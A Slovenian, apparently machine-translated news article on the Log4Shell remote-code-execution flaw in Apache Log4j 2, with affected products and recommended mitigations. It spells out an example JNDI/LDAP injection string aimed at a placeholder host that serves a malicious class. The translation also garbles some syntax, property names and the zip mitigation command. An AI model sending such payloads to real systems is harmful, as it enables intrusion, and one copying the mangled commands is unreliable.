Log4Shell, kritična ranljivost v Apache Log4j 2, ki vpliva na številne projekte Java

V zadnjem času se je objavil novico, da je bila v Apache Log4j 2 ugotovljena kritična ranljivost, ki je označen kot priljubljen okvir za organizacijo registra v aplikacijah Java, ki omogoča izvajanje poljubne kode, ko se v register zapiše posebej oblikovana vrednost v obliki "{jndi: URL}".

Ranljivost To je opazno, ker se napad lahko izvede v aplikacijah Java, kiZapisujejo vrednosti, pridobljene iz zunanjih virov, na primer s prikazovanjem problematičnih vrednosti v sporočilih o napakah.

Opaziti je, da prizadeti so skoraj vsi projekti, ki uporabljajo okvire, kot so Apache Struts, Apache Solr, Apache Druid ali Apache Flink, vključno s Steamom, Apple iCloud, odjemalci in strežniki Minecraft.

Pričakuje se, da bo ranljivost povzročila val množičnih napadov na podjetniške aplikacije, kar bo ponovilo zgodovino kritičnih ranljivosti v okviru Apache Struts, kar je groba ocena, ki se uporablja v 65 % spletnih aplikacij Fortune 100. Seznam spletnih aplikacij podjetja vključuje že zabeležene poskuse skeniranja omrežja za ranljive sisteme.

Ranljivost omogoča oddaljeno izvajanje nepreverjene kode. Log4j 2 je odprtokodna knjižnica dnevnikov Java, ki jo je razvila fundacija Apache. Log4j 2 se pogosto uporablja v številnih aplikacijah in je kot odvisnost prisoten v številnih storitvah. Sem spadajo poslovne aplikacije in številne storitve v oblaku.

Napadna skupina Randori je razvila funkcionalno izkoriščanje in je lahko uspešno izkoristila to ranljivost v okoljih strank kot del naše ofenzivne varnostne platforme. 

Do ranljivosti je mogoče dostopati z množico metod, specifičnih za aplikacijo. Dejansko je vsak scenarij, ki omogoča oddaljeni povezavi za dobavo poljubnih podatkov, ki jih aplikacija z uporabo knjižnice Log4j zapiše v datoteke dnevnika, dovzeten za izkoriščanje. Ta ranljivost je zelo verjetno izkoriščena v naravi in ​​bo verjetno prizadela na tisoče organizacij. Ta ranljivost predstavlja veliko resnično tveganje za prizadete sisteme.

Težavo zaostruje dejstvo, da je že objavljen funkcionalni exploit, npr.Toda popravki za stabilne veje še niso ustvarjeni. Identifikator CVE še ni bil dodeljen. Rešitev je vključena samo v testno vejo log4j-2.15.0-rc1. Kot rešitev za blokiranje ranljivosti je priporočljivo, da nastavite parameter Log4j2.formatMsgNoLookups na true.

Problem to je bilo posledica dejstva, da Log4j 2 podpira ravnanje s posebnimi maskami «{}» v dnevniških vrsticah, v kateri Poizvedbe JNDI se lahko izvajajo (Java poimenovanje in imeniški vmesnik).

Pri analizi CVE-2021-44228 je Randori ugotovil naslednje:

Privzete namestitve široko uporabljene poslovne programske opreme so ranljive.
Ranljivost je mogoče zanesljivo izkoristiti in brez preverjanja pristnosti.
Ranljivost vpliva na več različic Log4j 2.
Ranljivost omogoča oddaljeno izvajanje kode, ko uporabnik zažene aplikacijo s pomočjo knjižnice.

Napad se skrajša na posredovanje niza z zamenjavo "$ {jndi: ldap: //example.com/a}", pri kateri bo Log4j 2 poslal zahtevo LDAP za pot do razreda Java strežniku napadalec.com . Pot, ki jo vrne napadalčev strežnik (na primer http://example.com/Exploit.class), se bo naložila in izvajala v kontekstu trenutnega procesa, kar bo napadalcu omogočilo, da doseže poljubno izvajanje kode v sistemu s pravicami trenutne aplikacije.

Na koncu je omenjeno še to če se odkrijejo nepravilnosti, priporočamo, da domnevate, da je to aktiven incident, da je bil ogrožen, in se ustrezno odzovete. Nadgradnja na popravljene različice Log4j 2 ali prizadetih aplikacij bo odpravila to ranljivost. Randori priporoča, da vsaka organizacija, za katero meni, da bi to lahko vplivala, nujno nadgradi na popravljeno različico.

V najnovejši posodobitvi ekipe Apache Log4j, priporočamo, da organizacije storijo naslednje

  • Posodobite na Log4j 2.15.0
  • Za tiste, ki ne morejo nadgraditi na 2.15.0: V različicah> = 2.10 je mogoče to ranljivost ublažiti tako, da sistemsko lastnost log4j2.formatMsgNoLookup ali spremenljivko okolja LOG4J_FORMAT_MSG_NO_LOOKUPS nastavite na true.
  • Za različice 2,0-beta9 do 2.10.0 je ublažitev odstraniti razred JndiLookup s poti razreda: zip -q -d log4j-core - *. Jar org / apache / logging / log4j / core / lookup /JndiLookup.class.

vir: https://www.lunasec.io/


Pustite svoj komentar

Vaš e-naslov ne bo objavljen. Obvezna polja so označena z *

*

*

  1. Za podatke odgovoren: Miguel Ángel Gatón
  2. Namen podatkov: Nadzor neželene pošte, upravljanje komentarjev.
  3. Legitimacija: Vaše soglasje
  4. Sporočanje podatkov: Podatki se ne bodo posredovali tretjim osebam, razen po zakonski obveznosti.
  5. Shranjevanje podatkov: Zbirka podatkov, ki jo gosti Occentus Networks (EU)
  6. Pravice: Kadar koli lahko omejite, obnovite in izbrišete svoje podatke.